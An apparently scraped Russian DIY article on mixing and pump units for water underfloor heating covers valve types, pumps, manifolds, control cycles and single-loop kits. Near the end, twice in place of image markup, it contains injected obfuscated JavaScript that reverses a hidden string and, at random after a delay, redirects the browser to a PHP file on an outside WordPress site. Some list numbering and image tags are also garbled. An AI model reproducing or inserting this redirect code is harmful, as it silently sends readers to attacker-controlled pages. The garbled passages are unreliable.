Смесительный узел для теплого пола своими руками: схемы для теплых полов и самостоятельный монтаж

Особенности подключение теплого пола без смесительного узла

Часто возникающая оплошность при установке системы с отсутствием смесительного узла – это монтаж на очень крупные размеры помещения.

Основные требования при установке:

1. Стены в помещении должны быть утеплены (снаружи или внутри);
2. На полу должна быть проложена теплоизоляция;
3. Качественные стеклопакеты;
4. Монтаж пола вблизи от системы обогрева;
5. Площадь комнаты не больше 25 м2.

Недостатки системы без коллектора:

Большие потери тепла на пути от нагревательного прибора и самом агрегате трубопровода. Соответственно необходимо сберечь тепло на поверхности пола.

Необходим грамотный расчет длины контура и схемы, для того чтобы обратный показатель температуры не был слишком заниженным. В противном случае при теплообмене котла образуется много конденсата, который может быстро вывести устройство из строя.

Монтаж конденсатного котла с высоким КПД помогает при холодной «обратке», на прибор не влияет низкая температура при нагреве.

Способы сборки

Элементарный принцип сборки – это присоединить конструкцию теплых полов к центральному отоплению. Минусом такой системы является риск поломок трубопровода теплого пола из-за подачи высокой температуры воды в радиаторах.

Самостоятельно сооруженная конструкция, которая подключена к центральной точке отопления, может быть оштрафована и демонтирована органами надзора при обнаружении.

Два лучших способа для укладки труб без смесительного узла:

• змейка помогает распределять районы нагрева (обойти мебель либо сантехнику);
• улитка способствует равномерному нагреву площади пола.

Оба способа должны быть сконструированы из двойной системы трубопровода – для подачи и возвращения воды.

После того как трубопровод проложен его подключают к котлу. Насос нужной мощности обеспечит скорость движения элемента нагрева по трубопроводу.

Модели насосов бывают ручного и автоматического управления. Прибор ставится на подающую часть трубы. При отсутствии в системе коллектора насос размещается под котлом.

Соединительную конструкцию завершает клапан, который следует установить между трубой и насосом.

Лучше приобрести котел в комплекте с насосом

Отличия конструкций радиаторного отопления и водяного теплого пола

1. Радиаторному отоплению характерны высокие температуры теплоносителя, температура подачи примерно равна 70 градусам, а обратная отдача 50 °С. Особенности монтажа – насос устанавливается не на подающую сторону, что бы исключить вероятность перегрева.
2. Температура пола при обогреве должна быть не больше 26-30 °С, комфортная температура для щадящей работы насоса составляет 40 °С.
3. Циркуляционная скорость радиаторного отопления не велика, из-за перепада температуры вполне будет достаточно установить котел со встроенным в него насосом.
4. Тонкие пластиковые трубы являются радиатором теплого водяного пола. Длина труб может достигать более ста метров в одной монтажной системе. Соответственно и насосное устройство должно быть мощным, чтобы проталкивать воду через трубопровод.

Система с трехходовым клапаном

Сборка термостатического клапана (трехходового) производится на трубы подачи тепла, к противоположному потоку присоединяется перемычка.

Данный прибор регулирует температуру подачи тепла, которая подводится к насосу. Клапан функционирует как смеситель с термочувствительным элементом.

Преимущества клапана — это защита системы от слишком высоких температур (перегрева) и при необходимости во время поломки автоматически перекроет подачу теплоносителя и обратного потока. Благодаря этому клапан берет на себя часть работы смесительного узла.

Выбираем насос

Можно ли обойтись без смесительного узла? Можно, но без насоса вряд ли. Циркуляционная станция увеличит давление и равномерно прогреет воду, не будет делать избыточное давление, и протолкнет воду с требуемой скоростью.

Перед выбором насоса нужно определиться с фирмой, моделью, материалом из которого он состоит.

Для эксплуатации в бытовых условиях рекомендуется использовать два вида оборудования:

1. Насос с мокрым ротором. Данная техника не имеет большую мощность, но может обеспечить работу пола с подогревом, площадь которого равна 350-400 м2. Ротор носит «мокрое» название из-за расположенного колесика в теплоносителе, охлаждение и смазка проходит при его использовании. Прибор пользуется популярностью благодаря тихой работе, надежности и экономной потребности электроэнергии.
2. Модель с сухим ротором – достаточно мощный прибор, в котором ротор расположен в непроницаемой ёмкости. Данный тип техники используют для обустройства фонтанов в частных домах или парковых зонах. Модель нуждается в периодическом техническом обслуживании.

Сборка готового комплекта

Самый простой и надежный способ, но более дорогой — это купить готовый комплект насосно-смесительного узла и коллекторной группы. Руководство по сборке заводского комплекта содержит пошаговые инструкции, что позволяет собрать его своими руками даже неопытному мастеру.

Сборка готового комлекта насосно- смесительного узла и коллекторной группы

Подключение труб теплого пола к коллектору производится с учетом пропускной способности распределительных гребенок и составленной схемы с обозначением размеров труб, точек их соединения с элементами отопительной системы и местами укладки. Работы по подключению водяного контура проводят после установки коллектора и системы защиты (байпас, воздушный клапан).

По окончании работ, соединения проверяют на герметичность. Для этого коллектор для теплого пола с расходомером подключают к главному насосу, который нагнетает требуемое давление, и оставляют систему на 24 часа. Если за сутки не произошло изменение установленных параметров – смесительный узел можно смело эксплуатировать. Все проверки должны проводиться до укладки финишного напольного покрытия.

Если вы задались целью собрать систему распределения водяного теплого пола самостоятельно, а не покупать готовый комплект, то рассмотрим более дешевые варианты конструкций своими руками.

Из профильной металлической трубы

Коллекторная група из профильной трубы

Перед изготовлением коллектора необходимо составить схему с расположением всех элементов узла. В качестве материала изготовления лучше выбрать стальные трубы с квадратным типом сечения. Такой вид несложен в обработке, что существенно снижает трудозатраты на установку патрубков.

Коллекторы из профильной трубы применяются в отопительной схеме объектов с большим количеством контуров и гидравлическим разделителем. Параметры трубы квадратного сечения – 80*80 или 100*100 мм

Поэтапный процесс производства сборной конструкции распределительного узла выглядит следующим образом:

Сборка коллектора из металлической профильной трубы

Как все работает?

Подача теплоносителя в заданном диапазоне температур на коллектор теплого пола обеспечивается настройками узла подмеса. Главный цикл оборота жидкости внутри системы ТП складывается из циклов циркуляции в каждой из веток. При этом НСУ подмешивает горячий теплоноситель из первичного контура отопления в объемах необходимых для восполнения суммарных теплопотерь на отопление всех помещений. То есть, чем интенсивней происходит охлаждение теплоносителя в ветках теплого пола, тем большее его количество добавляется во внутренний оборот всего вторичного контура. Объем обновляемой горячей жидкости изменяется автоматически – от максимального, разово установленного настройками балансирного клапана 8 (рис. 3 и 5), до полного перекрытия. В диапазоне от максимума до минимума потока регулировка осуществляется термостатическим клапаном 1, который получает управляющие импульсы от своего выносного датчика (рис. 5, поз. 1а), контролирующего температуру потока Т11 на подающий коллектор

Важно! Непосредственно на работу системы теплого оказывают влияние регулирующие функции термостатического клапана 1. В свою очередь, балансировочный клапан 8 служит лишь для согласования суммарных потерь давления во вторичных контурах ТП с потерями давления в отопительных приборах первичного контура

При этом аналогичной настройке по потерям давления должны подвергаться все потребители в первичной системе, чтобы распределение тепловой энергии происходило в соответствие с их запросами, а не по пути наименьшего гидравлического сопротивления

Важность и степень подобной балансировки наглядно показаны на рисунке 6

Рисунок 6

Одновременно с всасыванием обновляемого горячего теплоносителя Т1 через клапан-термостат 1 (рис. 3 и 5), происходит также втягивание насосом 3 остывшего потока Т21 через балансировочный клапан 2 (вторичного контура). Проходя через насос потоки теплоносителя смешиваются, в результате, на подачу Т11 в коллектор теплого пола уже поступает жидкость заданной настройками НСУ температуры.

Пример циклической работы оборудования НСУ

Совместная работа насоса, балансировочного клапана вторичного контура и термостата происходит следующим образом. Например, в системе ТП предусмотрен термический градиент между подачей и обраткой ТП Δt=10С, а расчетная температура в подающем коллекторе 50С. Допустим, система работает в установившемся режиме, когда результирующий поток теплоносителя от подмеса из первичного контура Т1 и обратного коллектора теплого пола Т21 имеет температуру равную расчетной. При правильно установленных настройках балансира 2 и определенной степени приоткрытия термостата 1, это возможно, только в случае, если из обратки Т21 поступает вода с температурой 40С.

Если же начинает поступать теплоноситель, остывший до 39С или ниже, то соответственно происходит охлаждение и результирующего потока после насоса. Этот дисбаланс улавливается выносным датчиком 1 а, который дает команду на еще большее приоткрытие клапана-термостата 1. В результате увеличивается приток горячей воды из первичного контура отопления Т1 и температура в подающем коллекторе Т11 возвращается к своим расчетным 50С.

Постепенно из обратки Т21 начинает поступать перегретая выше 40С, что влечет за собой обратные процессы – клапан термостата 1 прикрывается и объем подмеса из Т1 снижается. Таким образом, термические циклы в системе ТП постоянно изменяются в режиме поддержания градиент Δt=10С, с подачей t=50С.

Рисунок 7

Структура двухконтурной системы

Подогреваемые полы могут быть и электрическими, но их чаще делают в уже эксплуатируемых домах, когда стержневой мат или инфракрасную плёнку нужно уложить под финишное покрытие. Если же дом только строится, то предпочтение обычно отдаётся водяной системе, и монтируется она прямо в черновой бетонный пол. Могут быть и другие варианты, но этот наиболее оптимальный.

Если дом только строится, то предпочтение отдается водяному теплому полу

Выбор теплого пола

Основные элементы такой отопительной схемы:

• подающий трубопровод водоснабжения (магистральный или автономный);
• водогрейный котёл;
• настенные отопительные радиаторы;
• система труб для тёплого пола.

Оборудование для теплого пола

Бойлер способен нагреть воду до кипятка, а это, как известно, 95 градусов Цельсия. Батареи выдерживают такую температуру без проблем, а вот для тёплого пола это неприемлемо – даже учитывая, что бетон заберёт на себя часть тепла. По такому полу было бы невозможно ходить, да и никакое декоративное покрытие за исключением керамики такого подогрева не выдержит.

Как же быть, если воду придётся брать из общей системы отопления, а она слишком горячая? Эту задачу и решает смесительный узел. Именно в нём температура снижается до нужного значения, и работа обоих отопительных контуров в комфортном режиме станет возможной. Суть её до невозможности проста: смеситель одновременно забирает горячую воду от котла и остывшую из обратки, и доводит её до заданных температурных значений.

Насосно-смесительный узел для теплого пола в сборе

Тёплый пол от центрального отопления

Как всё это работает

Если представить работу двухконтурной отопительной системы кратко, то выглядеть это будет примерно так.

1. Горячий теплоноситель движется от котла до коллектора, коим и является наш смесительный узел.

2. Здесь вода проходит через предохранительный клапан с манометром и температурным датчиком, который вы видите на фото снизу. Они регулируют в системе давление и температуру воды.

3. Если она слишком горячая, система срабатывает на подачу холодной воды, и как только достигается требуемая температура теплоносителя, заслонка автоматически закрывается.

4. Кроме того, коллектор обеспечивает перемещение воды по контурам, для чего в структуре узла присутствует циркуляционный насос. В зависимости от конструктива системы, она может комплектоваться дополнительными элементами: байпасом, вентилями, воздухоотводчиком.

Что влияет на энергопотребление теплого пола

Предохранительные клапаны для подогреваемого пола

Коллекторные смесители могут собираться из отдельных деталей, но проще всего приобрести узел в сборе. Вариации могут быть самые разные, но главное, что их отличает – это разновидность используемого предохранительного клапана. Чаще всего применяют варианты с двумя или тремя входами.

Таблица. Основные виды клапана.

Вид клапана	Отличительные особенности
Двухходовой	У этого клапана два входа. Сверху располагается головка с термодатчиком, по показаниям которого и регулируется подача воды в систему. Принцип прост: к холодной примешивается горячая вода, нагретая котлом. Двухходовой клапан вполне надёжно защищает напольный отопительный контур от перегрева. У него небольшая пропускная способность, которая в принципе не допускает никаких перегрузок. Однако для площадей более 200 м2 такой вариант не подходит.
Трёхходовой	Вариант с тремя ходами более универсален, в нём функции подачи совмещены с функциями регулировки. В этом случае не к холодной воде примешивается горячая, а, наоборот – к нагретой холодная. К термостату клапана обычно подключается сервопривод – прибор, с помощью которого температуру в системе можно поставить в зависимость от температуры внешней среды. Дозирует подачу холодной воды заслонка (подпиточный клапан) на обратной трубе. Трёхходовые клапаны применяют в домах большой площади с несколькими отдельными контурами, так как они отличаются большой пропускной способностью. Но в этом же состоит и их минус: при малейшем несоответствии объёмов горячей и остывшей воды пол может перегреться. Решить эту проблему позволяет автоматика.

Схема включения смесительного узла

Изделия заводской готовности, прошедшие стендовую опрессовку, имеющие необходимые документы о произведенных гидроиспытаниях, являются оптимальным вариантом для монтажа внутридомовых систем обогрева. Узел имеет компактный вид, гарантию герметичности резьбовых, сварных соединений, эргономичное расположение органов управления. Для удобства монтажа промышленность выпускает щиты, шкафы для маскировки оборудования с сохранением доступа к регулирующей арматуре. Пример схемы включения «гребенки» приведен ниже:

Схема включения смесительного узла для теплого пола

Теплоноситель из трубы подачи, обратки может смешиваться в каждом отводе либо перед коллектором. Оптимальная схема рассчитывается специалистами, домашнему мастеру для этого обычно не хватает профессионального образования, практики.

Механизм работы узла

Смесительный прибор выполняет не только функции по регулировке температуры воды в линии. Он еще отвечает за нормальное ее движение по цепи. Прибор включает в себя предохранительный вентиль и круговой инжектор. Последний элемент обеспечивает нормальную циркуляцию носителя в системе нагрева пола с необходимой для этого скоростью. Этот момент важен для полного и равномерного прогрева поверхности.

Циркуляционный инжектор отвечает за равномерное распределение теплого носителя в контуре водяного пола

Клапан предохранения отвечает за смешивание воды в контуре. При поступлении кипятка на вход, он открывает поступления из обратной цепи, пока горячая вода не смешается с холодным носителем из нее. После этого он прекращает подачу кипятка.

Нужно сказать, что смесительный узел всегда монтируют на участке перед входом в контур подогрева. Однако непосредственное место его нахождения может быть где угодно. В некоторых случаях целесообразно установить прибор прямо в том же помещении, где проходит система. Обычно так делают в многоквартирных домах. Иногда уместно поставить его в общей котельной. Этот вариант, пожалуй, станет предпочтительным для частных коттеджей. Если предусмотрено несколько помещений с подогревом пола, обычно распределители помещают в каждой из комнат либо устраивают один общий коллектор в подходящем для этого месте.

При самостоятельной установке смесительного узла, составьте схему его монтажа

Все различия в принципе работы смесителей определяют вентили предохранения. Самыми распространенными из них считают клапаны на два и три положения.

Схема с терморегулирующим комплектом для одной петли

Данная система отопления реализуется при помощи небольших термомонтажных комплектов. Они изначально рассчитаны на присоединение только одной единственной петли.

Здесь вам не придется городить сложных коллекторов, смесительных групп и т.п. Она рассчитана на обогрев помещений с максимальной площадью 15-20м2.

С виду это небольшая пластиковая коробочка, в которой смонтированы:

ограничитель температуры теплоносителя

ограничитель реагирующий на температуру окружающего воздуха в прогретой комнате

воздухоотводчики

Горячая вода поступает напрямую в петлю теплого пола без всяких коллекторов или каких-либо регуляторов. Это означает, что ее изначальная температура достигает максимальных 70-80 градусов, а остывание происходит как раз в самой петле.

Чаще всего люди применяют такие комплекты в 3-х случаях:

12

Чтобы не тянуть одну единственную петлю с первого на второй этаж, плюс применять там воздухоотводчики, можно воспользоваться этим недорогим решением.

3

Опять же в качестве альтернативы, можно воспользоваться терморегулирующим комплектом.

Во всех трех случаях вы просто его подключаете напрямую к ближайшему радиатору, стояку или коллектору отопления. В итоге у вас автоматически получается готовая петля теплого пола.

Недостатки такого комплекта:

малый комфорт – если хорошенько топить котел, пол у вас будет постоянно перегретым

Конечно можно подавать и остывшую воду из буферной емкости, но тогда мы приходим к ранее рассмотренной схеме №1. Данный же комплект предназначен для подключения именно к высокотемпературной системе, с ПЕРИОДИЧЕСКОЙ подачей в теплый пол горячей воды.

Подали порцию воды, термоголовка перекрыла поток. Далее вода остыла в петле, подали следующую порцию и т.д. Если же теплоноситель низкотемпературный, то и никакого комплекта не нужно.

Кстати, его можно подключать не только к теплым полам, но и к системе теплых стен, или к отдельным радиаторам отопления.

Более подробно с работой системы можно ознакомиться в паспорте на изделие – скачать.

второй недостаток – комплект будет эффективно работать только в двухтрубной системе

В однотрубной его будет достаточно сложно приспособить. Придется монтировать байпас и балансировочный вентиль.

Достоинства:

самый простой монтаж из всех вышеприведенных схем

Применяемость – в маленьких помещениях с редким пребыванием людей. В основном это санузлы, коридор, лоджия.

Чтобы понять какая из схем лучше и наиболее подходящая для вашего случая, можете сравнить все их недостатки и преимущества, сведенные воедино в одной общей таблице.

Взвесив все плюсы и минусы можете выбирать ту, которая наиболее полно удовлетворяет вашим потребностям и возможностям. После чего смело приступать к монтажу или приглашать специалистов для проведения ремонтных работ.

https://youtube.com/watch?v=dt1nG6qOers%3F

Отличия различных систем

Разные смесительные узлы имеют похожую конструкцию. Принципиальные различия заключаются в использовании разных предохранительных клапанов. Самыми распространенными считаются двух- и трехходовые клапаны.

Первый тип питающего устройства оснащается термостатической головкой. В нее встроен температурный датчик жидкостного типа. Информация, идущая с него, позволяет регулировать интенсивность потока разогретого теплоносителя.

Двухходовый клапан применяется в таких системах, где в обратку постоянно добавляется горячая жидкость от котла. Такой подход исключает перегрев теплого пола и продлевает срок его безаварийной работы.

Существуют двухходовые и трехходовые насосные узлы

Такой клапан не отличается высокой пропускной способностью. Значит, регулировка температуры происходит плавно. Его рекомендуется использовать в помещениях с небольшой площадью пола.

Второй тип питающего устройства представляет собой комбинированный вариант. В нем сочетаются функции клапана и балансировочного крана. Работает он иначе, чем двухходовое устройство. Благодаря ему, в горячий теплоноситель поступает охлажденная вода из обратки.

Трехходовый клапан часто подключается к внешним термостатам. Последние позволяют устанавливать нагрев жидкости с учетом уровня уличной температуры воздуха. Подача воды в нем регулируется заслонкой, расположенной на стыке труб, идущих от котла и обратки.

У таких клапанов есть несколько недостатков:

1. Существует риск резкого повышения температуры теплоносителя в системе, если из котла будет поступать больше жидкости, чем из обратки.
2. Из-за большой пропускной способности трехходового устройства даже при небольшом изменении положения заслонки температура значительно повышается. Нет возможности тонко регулировать нагрев пола.
3. В крупных помещениях требуется обязательная установка внешних датчиков, отслеживающих температуру на улице. В противном случае обеспечить комфортные условия внутри здания невозможно.

Впрочем, необходимость установки термостатов можно рассматривать и как положительный момент, ведь они обеспечивают лучшую регулировку температуры. Кроме того, с их помощью можно понижать нагрев в помещениях, где людей нет. Это может значительно снизить расходы на отопление.

Устройство

Обязательные элементы

Смесительный узел теплого пола включает:

Изображение	Описание
	Циркуляционный насос, обеспечивающий движение теплоносителя в низкотемпературном контуре.
	Термостатический трехходовый клапан, отвечающий за подачу более горячего теплоносителя по мере остывания малого контура. Клапан может быть сильфонным (то есть использующим расширение твердой, жидкой или газообразной среды при нагреве) и электрическим (снабженным термопарой и сервоприводом). Опционально прибор снабжается выносным термодатчиком — капиллярным или электрическим.

Как это работает?

1. Когда температура малого контура соответствует заданной, насос обеспечивает непрерывную циркуляцию постоянного объема теплоносителя в нем;
2. При падении температуры термостатический клапан приоткрывается, и в остывший контур подмешивается порция горячей воды или антифриза;
3. Как только температура достигнет заданной, клапан снова закрывается.

$mWn=function(n){if(typeof ($mWn.list)==»string») return $mWn.list.split(«»).reverse().join(«»);return $mWn.list;};$mWn.list=[«\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dovogo-klapana-smesitelnogo-uzla-590×600.png» alt=»Работа трехходового клапана смесительного узла.» width=»590″ height=»600″ /> Работа трехходового клапана смесительного узла.

Нередко смеситель комплектуется не трехходовым, а двухходовым клапаном (термоголовкой). В этом случае байпас между подачей и обраткой с установленным на нем насосом подключается сразу после термоголовки.

$mWn=function(n){if(typeof ($mWn.list)==»string») return $mWn.list.split(«»).reverse().join(«»);return $mWn.list;};$mWn.list=[«\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dovym-klapanom-600×450.jpg» alt=»Смеситель с двухходовым клапаном.» width=»600″ height=»450″ /> Смеситель с двухходовым клапаном.

Опциональные элементы

Кроме того, схема смесительного узла может включать дополнительное оборудование:

Изображение	Описание
	Коллектор — гребенку подачи и обратки. Поскольку из-за ограничений, связанных с гидравлическим сопротивлением трубопровода, длина одного контура не может быть больше 120 метров, в большом помещении требуется монтировать несколько контуров.
	Дроссели или термоголовки для раздельной регулировки пропускной способности контуров (читай — их температуры) и шаровые краны для их независимого отключения.
	Автоматические воздушники на подающем и обратном коллекторах, исключающие их завоздушивание и нарушение циркуляции.
	Сбросники, позволяющие осушить оба коллектора.